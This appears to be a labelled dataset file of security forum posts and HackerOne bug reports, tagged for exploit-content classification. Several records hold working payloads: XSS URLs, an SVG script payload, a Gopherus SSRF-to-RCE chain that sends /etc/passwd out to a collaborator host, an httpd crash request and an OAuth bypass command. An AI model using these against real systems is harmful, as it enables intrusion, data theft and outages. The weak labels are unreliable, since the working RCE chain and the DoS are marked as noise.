-{"id": "956ec5b17a0036fa2eb6", "text": "Keep in mind that if you are using two or more switches together, you only need one “-”. You have -X -r and have two “-” so that’s incorrect. You have -r (Filename) and then -X. That’s incorrect. Then you have -rX. Now look at that one one for a second. In -rX you are telling tcpdump to read first THEN after reading do X. But the command wont work because you interruped the read command with X. Getting the ideas here. Try flipping -rX and same file name. Also the question asked for the command, not the swithces. So it would be sudo tcpdump [your switches] [file name]. sudp tcpdump-** /file name 1/file pcap", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "af498dd434ed0cddae1f", "text": "I’m stuck on this too. What do you mean by FW rule?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "acfe6cfaec83b0765484", "text": "Kali Linux maltego | Kali Linux Tools sudo apt install maltego Maltego Support Installing Maltego Please download the appropriate Maltego installer from our website. Windows The correct operating system should be automatically detected on the web page. In the image below, Windows has been detected: From the dropdown menu, choose...", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-02-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4d3dcb45d56415619c54", "text": "[Cross-site Scripting (XSS) - Reflected] xss(r) vcc-na11.8x8.com\n\nxss(r)  on vcc-na11.8x8.com oem parameter\n\"oem\" parameter in endpoint vcc-na11.8x8.com is not sanitized and is pen to Reflected Cross Site Scripting Attacks\nhttps://vcc-na11.8x8.com/CM/login.php?oem=%22onpointermove%3Dprompt%281%29+class%3Dss11+\n\n**Description:** [add more details about this vulnerability]\nxss(r)  on vcc-na11.8x8.com oem parameter\n\"oem\" parameter in endpoint vcc-na11.8x8.com is not sanitized and is pen to Reflected Cross Site Scripting Attacks\nSpecifically stealing non secure cookies\n\n## Steps To Reproduce:\n\n(Add details for how we can reproduce the issue)\n\n  1. Click on link\nhttps://vcc-na11.8x8.com/CM/login.php?oem=%22onpointermove%3Dprompt%281%29+class%3Dss11+\n  2. Move mouse over body\n  3. xss is trigerred\n\n## Supporting Material/References:\n\nThe payload is reflected multiple places in response body\n<a href=\" http://www.google.com/chrome\">\t\n\t<img src=\"/./OEM/\"onpointermove=prompt(1)class=ss11/common/images/browsers/chrome.png\"class=\"browser-logo\" alt=\"{{#txt_unsupported_browser_chrome#}}\" />\n\t<h2>{{#txt_unsupported_browser_chrome#}}</h2>\n\nFrom <https://vcc-na11.8x8.com/CM/login.php?oem=%22onpointermove%3Dprompt%281%29+class%3Dss11+>\n\n## Impact\n\nCookie stealing", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b64a353447e547cc70e", "text": "[Server-Side Request Forgery (SSRF)] SSRF in graphQL query (pwapi.ex2b.com)\n\n## Summary:\nThe query for `allTicks` allows setting the parameter `source` that is used to do `GET` requests,  this can be set arbitrarily .\n\n## Steps to Reproduce:\n\n  1. Use a service like burp collaborator to observer incoming requests. \n  2. Replace my domain with your burp collaborator domain and execute the graphQL request.\n\n{F2158013}\n  3. Observer incoming DNS and HTTP requests.\n\n{F2158005}{F2158006}\n\nPlease note that the `source` parameter in the graphQL request can be a full URL so that any `GET` request is possible.\n\n{F2158024}{F2158025}\n\n\n\n## Impact\nThe SSRF vulnerability can be used to potentially compromise internal services that are exposed to internal network requests. Unfortunately, HTTP responses are not returned,  but an attacker can still gather information about open ports and perform blind HTTP `GET` requests against internal services, potentially help in finding more severe vulnerabilities on internal network services.\n\n## Mitigation\nThe application must only accept servers on an explicit allow list. This will mitigate SSRF attacks.\n\n## Impact\n\nThe SSRF vulnerability can be used to potentially compromise internal services that are exposed to internal network requests. Unfortunately, HTTP responses are not returned,  but an attacker can still gather information about open ports and perform blind HTTP get-reqeusts against services that are running on these ports, potentially help in finding more severe vulnerabilities on internal network services.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2befbb903297a89aa0b", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in SVG file as data: url\n\nHi Shopify team, \n\nIn rich text editors (products, gifts, pages, etc) you allow *data:*  URLs to be set as image sources, and I was able to store XSS in such image. While <img> won't execute script that is stored inside the SVG it points to, if one opens the image, the script will be executed. What is important here is that you actually can use javascript here to access /admin area.\n\n#Steps to reproduce:\n1. Create a product with such html description:\n```html\n<img src=\"\" alt=\"\">\n```\nInside this base 64 is code like this:\n\n```html\n<svg onload=\"var req = new XMLHttpRequest(); req.open('GET', 'https://us-based-organization-h1.myshopify.com/admin', false); req.setRequestHeader('Upgrade-Insecure-Requests', '1');req.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36') ;req.send(null);var headers = req.response.toLowerCase();console.log(headers);\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\" id=\"Layer_1\" x=\"0px\" y=\"0px\" viewBox=\"0 0 100 100\" enable-background=\"new 0 0 100 100\" xml:space=\"preserve\" height=\"100px\" width=\"100px\">\n<g>\n\t<path d=\"M28.1,36.6c4.6,1.9,12.2,1.6,20.9,1.1c8.9-0.4,19-0.9,28.9,0.9c6.3,1.2,11.9,3.1,16.8,6c-1.5-12.2-7.9-23.7-18.6-31.3   c-4.9-0.2-9.9,0.3-14.8,1.4C47.8,17.9,36.2,25.6,28.1,36.6z\"/>\n", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d4780eea97ce44da3cbf", "text": "[Improper Access Control - Generic] Improper access control for users with expired password, giving the user full access through API and Git\n\n### Summary\n\nUsers with an \"expired password\" can still access the full API with tokens. This includes the REST API, GraphQL API and Git HTTP access. The same issue was mitigated in [13.12.2](https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/#insufficient-expired-password-validation) as \"Insufficient Expired Password Validation\". That patch blocked users with expired passwords from accessing the REST API. My report [1192460](https://hackerone.com/reports/1192460) led to a patch [14.0.2](https://about.gitlab.com/releases/2021/07/01/security-release-gitlab-14-0-2-released/#a-deactivated-user-can-access-data-through-graphql) that also blocked access through GraphQL.\n\nIt seems that these patches caused some problem for users accessing GitLab instances using LDAP. And a [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63466) trying to address this problem got merged in one of the latests releases. Unfortenetly this new \"fix for LDAP\" also seems to have opened up access for regular user accounts with expired passwords again.\n\n__Images showing access through REST, GraphQL and Git with a account with expired password:__\n\n{F1394654}\n\n{F1394656}\n\n{F1394657}\n\n### Steps to reproduce\n(tested on 14.1.0 self-hosted)\n\n1. Create a user user01, and log in\n2. Create a new project at https://gitlab.domain.com/projects/new#blank_project make sure to put it as `private`. Take a note of the ID of the project\n3. Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create a personal access token\n4. Log in as an administrator\n5. Go to the admin page for editing the user https://gitlab.domain.com/admin/users/user01/edit and change the users password. This triggers `password expired at` to be set to the current time. Effectively putting the user01 in the state of \"expired password\"\"\r\n6. Trying to log in as user01 with old password will now fail, using the new password will trigger \"enter a new password\" page. __Do not enter a new password here as this will put the user in a unexpired state again__\n\n{F1394655}\n\n7. Now instead try to use the user01 token from step 2 in a REST request such as\n```\ncurl --request GET \\\n  --url https://gitlab.domain.com/api/v4/projects/:ID \\\n  --header 'Authorization: Bearer <TOKEN>' \\\n```\nThis should show the `private` project that should not be accessible.\n\n### Impact\n\nA user that should not have access to the instance as the password has expired can still access the API and Git with tokens.\n\n### What is the current *bug* behavior?\n\nRequests to the API and Git is not blocked for users with expired password\n\n### What is the expected *correct* behavior?\n\nRequests to the API and Git by users with expired password should be blocked and presented with a message like `403 Forbidden - Your password expired. Please access GitLab from a web browser to update your password.` as before.\n\n## Impact\n\nUsers with expired passwords can still access the full API and Git using tokens", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c19f8d288c52f90bc1f", "text": "[Insecure Direct Object Reference (IDOR)] IDOR to delete profile images in https:███████\n\nHi Team!\nWhen I was testing the  https:█████████/userprofile.aspx discovered that pictures added were being deleted with a get request like so:\n```\nPOST /AJAXUtilities.aspx HTTP/1.1\nHost: ████████\nContent-Length: 73\nSec-Ch-Ua: \"Google Chrome\";v=\"117\", \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"117\"\nAccept: text/plain, */*; q=0.01\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nOrigin: https:█████████\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https:████/userprofile.aspx\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,fa;q=0.8\nConnection: close\n\nstrCall=DeleteProfilePicture&strUserId=72827C83FCED4483B2B1077EA5B0C041\n\n```\nstrUserId params seemed like a potential IDOR that lead to delete profile picture just with UserId\nPoc video attached\n\n## Impact\n\ndelete user profiles just using strUserId\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8176f04deca012917dcf", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] HTML INJECTION on coins.state.gov\n\n##Summary \n\nHi team i hope you are well t is a pleasure to work in your program. I will begin to present the vulnerability that I found it: An html injection on coins.state.gov\n\n\n##Steps\n\n\n Vulnerable Link :\n```\n1.https://coins.state.gov/Errors.aspx?aspxerrorpath=Gxss\n```\n\n***Steps to reproduce ***\n\n###first step :\n    1. i used gxss and katana like tools to find vulnerable domain : https://coins.state.gov/Errors.aspx?aspxerrorpath=Gxss\n    2. i tried to xss but no result for now i  tried it manually but no result.\n\n\n###second step :\n       1.i had an idea to use dalfox tool to try xss or html injection.\n       2. it work only for html injection \n      3. a video below can help you to see the result\n      4. when i refresh the browser and i keep dalfox run there is another payload generated on the page\n\n```bash\necho https://coins.state.gov/Errors.aspx?aspxerrorpath=Gxss | dalfox pipe\n```\n\n{F2135442}\n{F2135443}\n\n## Impact\n\nIt can allow an attacker to modify the page. To steal another person's identity. The attacker discovers injection vulnerability and decides to use an HTML injection attack. Attacker crafts malicious links, including his injected HTML content, and sends it to a user via email", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "62b92db4a3a3bfbfb120", "text": "Mitmproxy hacking plugin\n\nI stop using burp long time a go because it is closed source, then zap lately because I just can’t stand java, so I found for what I need (just a HTTP interceptor that I can modify information and pause/release) mitmproxy to be the perfect tool and very hackable and open source. So started to write a plugin to start using other tools inside it like gobuster, nikto, grab links and comments etc… Here is the pluging and here is the main site. I will be adding more features as I go, feel free to submit patches. Happy Hacking", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "132fa0611035a6ae858f", "text": "[Server-Side Request Forgery (SSRF)] SSRF + RCE через fastCGI в  POST /api/nr/video\n\nDomain, site, application\n--\napp.nativeroll.tv\n\n\nSteps to reproduce\n--\n1. Традиционно нужен аксес токен от аккаунта паблишера, можно зарегистрировать здесь https://seedr.ru/register-user/publisher\n2. Войти как паблишер https://seedr.ru/login/publisher\n3. Поперехватывать запросы, получить токен.\n4. Скачать тулзу https://github.com/tarunkant/Gopherus, запустить \n```\n./gopherus.py --exploit fastcgi\n```\nНа первый вопрос просто нажать Энтер (сработает дефолтный файл), во втором: вбить команду для исполнения. \nВ моем случае ```curl -F file=@/etc/passwd 9nxvmc3h8ym4rye1jwur68tc137xvm.burpcollaborator.net/rce```\n\nПример вывода утилиты: \n```\ngopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH133%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%85%04%00%3C%3Fphp%20system%28%27curl%20-F%20file%3D%40/etc/passwd%209nxvmc3h8ym4rye1jwur68tc137xvm.burpcollaborator.net/rce%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00\n```\nОбратите внимание, что при смене команды для исполнения нужно заново вызывать утилиту и задавать команду там, редачить прямо в этом выводе может не сработать, т.к. протокол бинарный и там есть неочевидные вещи.\n\n5. На своем сервере установить скрипт, который редиректит по полученному из утилиты адресу. Мой пример\n```\n<?php\nheader('Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH133%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%85%04%00%3C%3Fphp%20system%28%27curl%20-F%20file%3D%40/etc/passwd%209nxvmc3h8ym4rye1jwur68tc137xvm.burpcollaborator.net/rce%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00');\n?>\n\n```\n\n6. Отправить следующий запрос (здесь мои данные, нужно заменить значения access_token и tag на ваш токен и ваш сервер с вашим скриптом).\n```\nPOST /api/nr/video?access_token=e3c0d2382d0486f400cf5ab8490c370877397e13 HTTP/1.1\nHost: app.nativeroll.tv\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 86\n\ndata={\"type\":\"VAST\",\"name\":\"test\",\"tag\":\"http://eb65-109-235-218-134.ngrok.io/r2.php\"}\n```\n\nПолучаем отбивку с содержимым /etc/passwd с IP адреса 95.213.212.220. При желании легко добивается до полноценного шелла.\n\nЕще раз обращаю внимание, что ССРФ в данном энвайронменте являются критично опасными, даже слепые, и напоминаю о репортах №1346760 и №1348109, сейчас там уже не работает даже просто ССРФ, но нет причин думать, что такая же техника не сработала бы.\n\n## Impact\n\nАтакующий может исполнять произвольные команды на сервере от имени пользователя www-data со всеми вытекающими последствиями.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4605782aa3c1c3246622", "text": "I created this payload and still mot able to move the flag.txt to tmp folder Can you help me on this", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "46043195e0d56ad69d32", "text": "Three walkthrough\n\nI followed the three writeup and still can’t reverse shell to capture flag. YT tutors didn’t help. What’s wrong with this one?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "92bee462d0127db105f7", "text": "[Uncontrolled Resource Consumption] DoS via lua_read_body() [zhbug_httpd_94]\n\nGreetings. I have found a bug that can crash httpd 2.4.53, causing a denial of service.\n\nThe bug is that lua_read_body() (modules/lua/lua_request.c) uses the value of the `Content-Length` header to allocate memory. While ap_read_request() limits `Content-Length`'s value to a non-negative |apr_off_t| via a call to ap_parse_strict_length(), if the LUA programmer uses r:parsebody() without specifying a limit, as in:\n```\n   r:parsebody(0)\n```\n, lua_read_body() attempts to allocate `Content-Length + 1` bytes (line 255, below). This causes an OOM abort, which crashes httpd:\n```\n233: static int lua_read_body(request_rec *r, const char **rbuf, apr_off_t *size,\n234:         apr_off_t maxsize)\n235: {\n236:     int rc = OK;\n237:\n238:     *rbuf = NULL;\n239:     *size = 0;\n240:\n241:     if ((rc = ap_setup_client_block(r, REQUEST_CHUNKED_ERROR))) {\n242:         return (rc);\n243:     }\n244:     if (ap_should_client_block(r)) {\n245:\n246:         /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/\n247:         apr_off_t    len_read = -1;\n248:         apr_off_t    rpos = 0;\n249:         apr_off_t length = r->remaining;\n250:         /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/\n251:\n252:         if (maxsize != 0 && length > maxsize) {\n253:             return APR_EINCOMPLETE; /* Only room for incomplete data chunk */\n254:         }\n255:         *rbuf = (const char *) apr_pcalloc(r->pool, (apr_size_t) (length + 1));\n...\n271: }\n```\nThe bug appears still to be present in trunk.\n\nAttached is a POC that demonstrates the bug. Use the POC thusly:\n\n   1. Copy bug94.lua into /bug94/bug94.lua .\n   2. Enable LUA.\n   3. Run httpd and attach a debugger to it.\n   4. Set a BP on lua_read_body() line 249.\n   5. Run the command\n```\n      curl -v -i -H \"Content-Type: multipart/form-data; boundary=badbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadb\" -H \"Content-Length: 9223372036854775807\" -X POST -k http://127.0.0.1/bug94/bug94.lua\n```\n   which sends the bad header to httpd.\n\n   6. When the BP fires, step line 249 and examine |length|. It should be `0x7fffffffffffffff` .\n   7. Now step into apr_palloc(). Notice that |size| is `0x8000000000000000`. Step over the call to allocator_alloc(), which should return NULL. Then notice that apr_palloc() calls |pool->abortfn()|, which is abort_on_oom() (server/main.c). That, in turn, calls ap_abort_on_oom(), which calls the C library function abort(), crashing the httpd process.\n\n```\n-------- bug94.lua ----------------------------------------------------\nfunction handle(r)\n    local s = r:parsebody(0)\nend\n-------- bug94.lua ----------------------------------------------------\n```\n\n## Impact\n\nThis bug permits a remote unauthenticated attacker to crash httpd. In mitigation, the victim site must run an LUA program including a call to `r:parsebody(0)`.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31cdeeb0a182262ec15c", "text": "[Path Traversal] Apache Airflow path traversal by authenticated user\n\nApache Airflow, versions before 2.6.3, is affected by a vulnerability that allows an attacker to perform unauthorized file access outside the intended directory structure by manipulating the run_id parameter.\n\n## Impact\n\nDenial of Service (DoS): By traversing to system directories and attempting to access large or resource-intensive files, an attacker can cause a denial of service condition. This can lead to system crashes, resource exhaustion, or degraded performance.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "426205b600514cc662ac", "text": "[Client-Side Enforcement of Server-Side Security] Ability to Disable the Login Attempt of any Shopify Owner for 24 hrs  (Zero_Click)\n\nHello Team,\n\nI Found a Bug in which Hacker Have Ability to Disable the Login Attempt of any Shopify Owner With (Zero_Click)\n\nSummary:\n----------\n\n\nProof of Concept;\n-------------------\n\nCredentials:\n-------------\nVictim = ███████.com (████████)\n\nHacker = █████████.com \n\nVictim Sceanrio:\n-----------------\nStep 1 : Victim Login to his Account (████.com)\n\nStep 2 : For Better Security of his Account ---------> Victim Activate the 2 Factor Authentcation ( Via Mobile Phone Number)\n\nStep 3 : 2 FA Activated Successfully -----------> Victim Logout\n\nAttacker Scanario: (Incognito Tab)\n------------------\nStep 1 : Hacker Make a New Account  in shopify (███████.com)\n\nStep 2 : Hacker Go to Manage Account -------> Choose to Activate 2 FA \n\nStep 3 : Hacker Enter his Mobile Number (█████████) --------> Capture the Request in Burpsuite\n\nStep 4 : Hacker Change the Mobile Number (████) to (███████) --------> Forward the Request\n\nStep 5 : Hacker Logout -------> Login again\n\nStep 6 : Now Hacker Tap Multiple times in \"RESEND CODE \" --------> untill Server Reflect Stop\n████████\n\nStep 7 : Now Hacker Stop Finally\n\n\nVictim Sceanrio: (Again)\n------------------------\n\nStep 1 : Victim Want to Login to his Shopify Account\n\nStep 2 : Victim Enter Email and Password --------> Server Redirect to 2 FA page\n\nStep 3 : Here Victim See So many OTP Code But Recent Code Still Not Arrive --------> Victim Click Resend But Server Block the Attempt\n\nAs a Result Victim not Allowed to Login to his Account\n\nZero_Click Vulnerbaility that Will Impact many Shopify Users Who Use Mobile Number as a method of 2 FA Verification\n\n\nPOC Video:\n-----------\n████\n\n\nPlease Let me Know if You have any doubt\n\nThank You\n\nRegards~\nsaurabhsankhwar3\n\n## Impact\n\n1. In Real World Attacker Perform a BruteForce Attack on 2 FA page (infinite Time) --------> So that Server Not able to send correct OTP to Real Victim\n\n2. There is Improper Security While Setting 2 FA via Mobile Phone\n\n3. Hacker try to Disable Login Attempt of any Shopify owner just By Knowing Which Mobile Number He/She used For Enabling 2 FA in his Account\n\n4 . Violation of Security Design Priciple", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c9b705efef6a7597787c", "text": "[Improper Authentication - Generic] CVE-2022-22576: OAUTH2 bearer bypass in connection re-use\n\n## Summary:\nA cached connection authenticated with the OAUTH2 mechanisms can be reused by a subsequent request even if the bearer is not correct.\nThis affects SASL-enabled protcols: SMPTP(S), IMAP(S), POP3(S) and LDAP(S) (openldap only).\n\nAn application that can be accessed by more than one user (such as a webmail server) would be affected by this flaw.\n\n## Steps To Reproduce:\n`curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything`\n\n## Supporting Material/References:\n  * Patch 0001-url-check-sasl-additional-parameters-for-connection-.patch fixes this flaw.\n\nAs an alternative to apply the patch, use another (unused) password within each request: the second request in the command below will properly fail.\n`curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user:dummy1 --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user:dummy2 --oauth2-bearer anything`\n\n## Impact\n\nAccess (read/write) unauthorized data", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-22576"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "57842e25fc86e5344e70", "text": "Evil twin portal specific variant\n\nHi guys! I don’t want to create classical evil twin portal. Pen tested it, works, al least airgeddon one and fluxion are decent. I want to create completely the same working portal as evil twin, except I want to give it a custom name. So it works the same, but the name of the AP - essid is as I see fit. That scripts don’t offer that option. I could rewrite them, but that would be hassle. Is someone willing to give me an advice how could I do it fast, with not too much hassle? Or at least in which direction should I look, to learn it myself? I tried with mdk3 and created a fake AP. Works nicely, except it would be better if it would capture all wifi password login attempts. I can do mdk4, mdk3 or classic deauth separately. I use Kali and Parrot Os for pen testing and Alpha NHA. Thank you!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "273070262e530d8827b3", "text": "[Improper Input Validation] Moderators can send messages to users from banned subreddits via `oauth.reddit.com/api/mod/conversations`\n\n## Summary:\n\nIt is possible for moderators to send messages to users from a banned subreddit.\n\nI assume this is not intended considering that when trying to send a message as a banned subreddit via [reddit.com/message/compose](https://www.reddit.com/message/compose) (`from` field) you get a `200` response but the message is never delivered to the recipient.\n\n## Steps To Reproduce:\n\n1. While in [mod.reddit.com/mail/create](https://mod.reddit.com/mail/create), select a banned subreddit from the dropdown menu.\n2. Fill in all other fields and send the message.\n\n## Impact\n\nModerators can \"officially\" communicate with users even after the subreddit gets banned. This can be used to organize a new subreddit to migrate to in order to circumvent the ban.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "857a4c8df4b62ef06d4d", "text": "Well, I revive this topic because even today I still had the same issue. I worked for hours to find why it doesn’t work on my VM, why it also doesn’t work on 2 others VMs of 2 differents computers or even on the pwnbox. Even on Discord, I searched for some help but nobody had the answer. Since 25 minutes, my issue disappeared. For those wondering wtf this issue is happening, the only hint I can give you is: Parrot. Now, I resolved it by using Kali. I don’t know how this magic works, but the \" 3389 port used\" error message from Responder didn’t show up, and the hash told me “Hi dude!” (you have to put your ear close of your screen for hear it). So if you really want to continue without “cheat” with the pdf, do a 2nd VM by using Kali (or use only kali… why not). To you who are reading this: you’re welcome, and have fun!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "75b10f6bcd3e9bbcc691", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://███\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc87622c10041d159428", "text": "[Improper Restriction of Authentication Attempts] No Rate Limit in Login Page\n\n## Summary:\n\nA rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache. In case a client made too many requests within a given time frame, HTTP-Servers can respond with status code 429: Too Many Requests.\n\n## Steps To Reproduce:\n\n1) Go to https://partnerbootcamp.on-running.com/\n2) Now go to login  and enter the victim's email id and some random password and click login.\n3) Now capture this request using burpsuite and send it to the intruder and add the password field to attack.\n4) Now set the payload.[Here I added 1000 payloads].\n5) now start the attack.\n---> All the wrong credential respond with 401 and the correct one respond with the status code 200.\n\n## Impact\n\nThe attacker can easily takeover to the victim's account using this method.\n\n## Mitigation:\n\nAs a best practice the site should be implemented with some ratelimit functionalities like after 5 or 10 wrong login attempts the server should block the ip address and should respond with status code 429 \"Too Many Requests\".\n\nRegards,\naaruthra", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
